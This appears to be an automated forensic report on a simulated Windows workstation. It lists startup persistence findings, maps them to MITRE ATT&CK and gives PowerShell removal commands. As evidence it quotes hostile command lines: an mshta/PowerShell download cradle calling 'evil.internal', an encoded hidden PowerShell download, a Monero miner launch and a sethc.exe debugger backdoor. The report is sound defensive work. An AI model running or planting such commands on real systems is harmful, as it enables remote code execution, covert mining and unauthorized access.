

FORENSIC ASSESSMENT REPORT

Windows Auto-Start Extensibility Points (ASEP) & Persistence Threat Analysis

Report ID:	FAR-8236E912	Scan Timestamp:	2026-10-03 19:03:32 UTC
Target Host:	SIMULATED-CORP-WORKSTATION	Operating System:	Windows 10 (10.0.22631)
Total ASEPs Analyzed:	9	Scan Duration:	0.26s
System Risk Score:	100/100 (CRITICAL)	Target User:	TargetUser (APT29 Simulation)

CRITICAL 5	HIGH 0	MEDIUM 1	LOW 0	CLEAN 3
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1. Executive Summary & Forensic Assessment

An in-depth automated digital forensic inspection of Windows Auto-Start Extensibility Points (ASEP) was executed on **SIMULATED-CORP-WORKSTATION**. A total of **9 startup mechanisms** were inspected across Registry Run keys, Winlogon, Image File Execution Options (IFEO), Active Setup, Startup Folders, Scheduled Tasks, Windows Services, WMI Event Subscriptions, and System Drivers.

The system received an overall Suspicion Risk Score of **100/100 (CRITICAL)**. **CRITICAL ATTENTION REQUIRED:** A total of **5 Critical** and **0 High-risk** persistent anomalies were identified that warrant immediate containment and remediation.

2. Critical & High-Risk Persistence Findings

The following items triggered high-confidence heuristic rule violations or MITRE ATT&CK; indicators:

Finding #1: WinAudioHelper | [CRITICAL - Score: 100/100]

Category:	Registry Run
Location:	HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Command / Target:	"C:\Users\Public\svchost.exe" --background --stratum=pool.minexmr.com:4444
Resolved Binary:	C:\Users\Public\svchost.exe
Digital Signature:	Status: NotSigned
Cryptographic Hash & PE:	SHA256: 8f4e2b01c34a9b58210f92b7405df6248d21b926487e42d743a196e481283c9a Entropy: 7.86/8.0 (HIGH ENTROPY / PACKED)
Triggered Rules:	[CRITICAL] Critical System Process Masquerading: Binary is masquerading as legitimate Windows system file 'svchost.exe' but executes from unauthorized path 'C:\Users\Public\svchost.exe'. [HIGH] Suspicious Writable Execution Directory: Startup program executes from a high-risk volatile or user-writable directory matching '\users\public'. [LOW] Unsigned Startup Executable: Startup entry 'WinAudioHelper' does not possess an Authenticode digital signature. [HIGH] High Shannon Entropy (7.86) / Packed Binary: File exhibits high Shannon entropy of 7.86/8.0, characteristic of packed malware, crypters, or encrypted shellcode. [HIGH] Known Packer / Crypter Section Detected: Known packer/crypter section identified: 'upx0'. [MEDIUM] Suspicious Injection / Memory APIs: Suspicious API imports detected: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread [HIGH] Corporate Metadata Impersonation: File claims CompanyName 'Microsoft Corporation' in metadata but lacks a valid digital signature from that entity.
Remediation:	Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WinAudioHelper"

Finding #2: WMI Subscription: SystemHealthSync | [CRITICAL - Score: 100/100]

Category:	WMI Event Consumer
Location:	root\subscription\CommandLineEventConsumer (SystemHealthSync)
Command / Target:	mshta.exe javascript:a=new(ActiveXObject)('WScript.Shell');a.Run('powershell -nop -c IEX(New-Object Net.WebClient).DownloadString(\'http://evil.internal/sync.hta\')',0);window.close()
Resolved Binary:	C:\Windows\System32\mshta.exe
Digital Signature:	Status: Valid Signer: Microsoft Windows
Cryptographic Hash & PE:	SHA256: 7b70b26081cfa5fae721f6e0a63960034d25cc94d157cd649a4e9907b5af37ea Entropy: 2.4653/8.0
Triggered Rules:	[CRITICAL] Obfuscated Command: Remote Web Download Cradle: Command line utilizes stealth or obfuscation techniques: Remote Web Download Cradle in command string. [MEDIUM] Living-Off-The-Land Binary (mshta.exe): Startup persistence leverages native system utility 'mshta.exe' to proxy script or command execution. [HIGH] WMI Event Subscription Persistence: Persistent WMI Event Consumer triggers command on system events in 'root\subscription\CommandLineEventConsumer (SystemHealthSync)'.
Remediation:	Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Filter "Name='SystemHealthSync'" Remove-CimInstance

Finding #3: Startup File: Q3_Financial_Audit_Report.pdf.exe | [CRITICAL - Score: 100/100]

Category:	Startup Folder (LNK/Binary)
Location:	User Startup Folder (C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Q3_Financial_Audit_Report.pdf.exe)
Command / Target:	C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Q3_Financial_Audit_Report.pdf.exe
Resolved Binary:	C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Q3_Financial_Audit_Report.pdf.exe
Digital Signature:	Status: NotSigned
Cryptographic Hash & PE:	SHA256: 4cf8291a84f38d6f72576315804537b04f56f1008263da10240f471edd2f8605 Entropy: 7.68/8.0 (HIGH ENTROPY / PACKED)
Triggered Rules:	[CRITICAL] Deceptive Double File Extension: Binary uses deceptive double extension 'q3_financial_audit_report.pdf.exe' to disguise executable as document/image. [LOW] Unsigned Startup Executable: Startup entry 'Startup File: Q3_Financial_Audit_Report.pdf.exe' does not possess an Authenticode digital signature. [HIGH] High Shannon Entropy (7.68) / Packed Binary: File exhibits high Shannon entropy of 7.68/8.0, characteristic of packed malware, crypters, or encrypted shellcode. [MEDIUM] Timestomping Timestamp Anomaly: Timestomping anomaly: Ancient compile timestamp (1970-01-01 00:00:00 UTC)
Remediation:	Remove-Item -Path "C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Q3_Financial_Audit_Report.pdf.exe" -Force

Finding #4: Task: WindowsDefenderTelemetryUpdate | [CRITICAL - Score: 95/100]

Category:	Scheduled Task
Location:	Tasks\Microsoft\Windows\Maintenance\TelemetryUpdate
Command / Target:	powershell.exe -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBIAEMAbABpAGUAbgB0ACKALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuaGcAKAAnAGgAdAB0AHAA0gAvAC8AYwAyAC4AcwB5AHMAdABLAG0ALQB1AHAAZABhAHQAZQBzAC4AdABVAHAVAGIAZQBhAGMABwBuAC4AcABzADEAJwApAA==
Resolved Binary:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Digital Signature:	Status: Valid Signer: Microsoft Windows
Cryptographic Hash & PE:	SHA256: 3247bcfd60f6dd25f34cb74b5889ab10ef1b3ec72b4d4b3d95b5b25b534560b8 Entropy: 5.3938/8.0
Triggered Rules:	[CRITICAL] Obfuscated Command: Base64 Encoded PowerShell Command (-enc): Command line utilizes stealth or obfuscation techniques: Base64 Encoded PowerShell Command (-enc) in command string. [MEDIUM] Living-Off-The-Land Binary (powershell.exe): Startup persistence leverages native system utility 'powershell.exe' to proxy script or command execution. [MEDIUM] Timestomping Timestamp Anomaly: Timestomping anomaly: Ancient compile timestamp (1974-07-29 16:18:42 UTC)
Remediation:	Unregister-ScheduledTask -TaskName "Microsoft\Windows\Maintenance\TelemetryUpdate" -Confirm:\$false

Finding #5: IFEO Hijack: sethc.exe | [CRITICAL - Score: 95/100]

Category:	Image File Execution Options (IFEO)
Location:	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger
Command / Target:	C:\Windows\System32\cmd.exe
Resolved Binary:	C:\Windows\System32\cmd.exe
Digital Signature:	Status: Valid Signer: Microsoft Windows
Cryptographic Hash & PE:	SHA256: a6e3b3b22b7fe8ce2c9245816126723eaa13f43b9f591883e59959a2d409426a Entropy: 5.9486/8.0
Triggered Rules:	[CRITICAL] Image File Execution Options (IFEO) Hijack: Debugger registry key intercepts target binary execution via 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger'. [MEDIUM] Timestomping Timestamp Anomaly: Timestomping anomaly: Compile timestamp is in the future (2040-02-04 06:33:47 UTC) [MEDIUM] Suspicious Injection / Memory APIs: Suspicious API imports detected: IsDebuggerPresent
Remediation:	Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -Name "Debugger"

3. MITRE ATT&CK; Framework Mapping

Technique ID	Technique Name	Tactics	Observed Count
T1036.005	Masquerading: Match Legitimate Name or Location	Defense Evasion (TA0005)	2
T1547.001	Registry Run Keys / Startup Folder	Persistence (TA0003), Privilege Escalation (TA0004)	2
T1027.002	Software Packing / High Entropy Payload	Defense Evasion (TA0005)	2
T1055	Persistence & Execution Technique	Persistence (TA0003)	2
T1059.001	Command and Scripting Interpreter: PowerShell	Execution (TA0002)	2
T1218	System Binary Proxy Execution (LOLBins)	Defense Evasion (TA0005)	2
T1546.003	WMI Event Subscription	Persistence (TA0003), Privilege Escalation (TA0004)	1
T1070.006	Indicator Removal: Timestomp	Defense Evasion (TA0005)	3
T1546.012	Image File Execution Options (IFEO) Hijack	Persistence (TA0003), Privilege Escalation (TA0004), Defense Evasion (TA0005)	1
T1574.009	Path Interception by Unquoted Path	Persistence (TA0003), Privilege Escalation (TA0004)	1

4. Recommended Remediation Action Plan

Step 1: Neutralize Persistence: WinAudioHelper

Execute remediation command to remove unauthorized persistence hook at

'HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'.

```
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WinAudioHelper"
```

Step 2: Neutralize Persistence: WMI Subscription: SystemHealthSync

Execute remediation command to remove unauthorized persistence hook at

'root\subscription\CommandLineEventConsumer (SystemHealthSync)'.

```
Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Filter  
"Name='SystemHealthSync'" | Remove-CimInstance
```

Step 3: Neutralize Persistence: Startup File: Q3_Financial_Audit_Report.pdf.exe

Execute remediation command to remove unauthorized persistence hook at 'User Startup Folder

(C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\Startup\Q3_Financial_Audit_Report.pdf.exe)'.

```
Remove-Item -Path "C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start  
Menu\Programs\Startup\Q3_Financial_Audit_Report.pdf.exe" -Force
```

Step 4: Neutralize Persistence: Task: WindowsDefenderTelemetryUpdate

Execute remediation command to remove unauthorized persistence hook at

'Tasks\Microsoft\Windows\Maintenance\TelemetryUpdate'.

```
Unregister-ScheduledTask -TaskName "\Microsoft\Windows\Maintenance\TelemetryUpdate" -Confirm:$false
```

Step 5: Neutralize Persistence: IFEO Hijack: sethc.exe

Execute remediation command to remove unauthorized persistence hook at 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger'.

```
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution  
Options\sethc.exe" -Name "Debugger"
```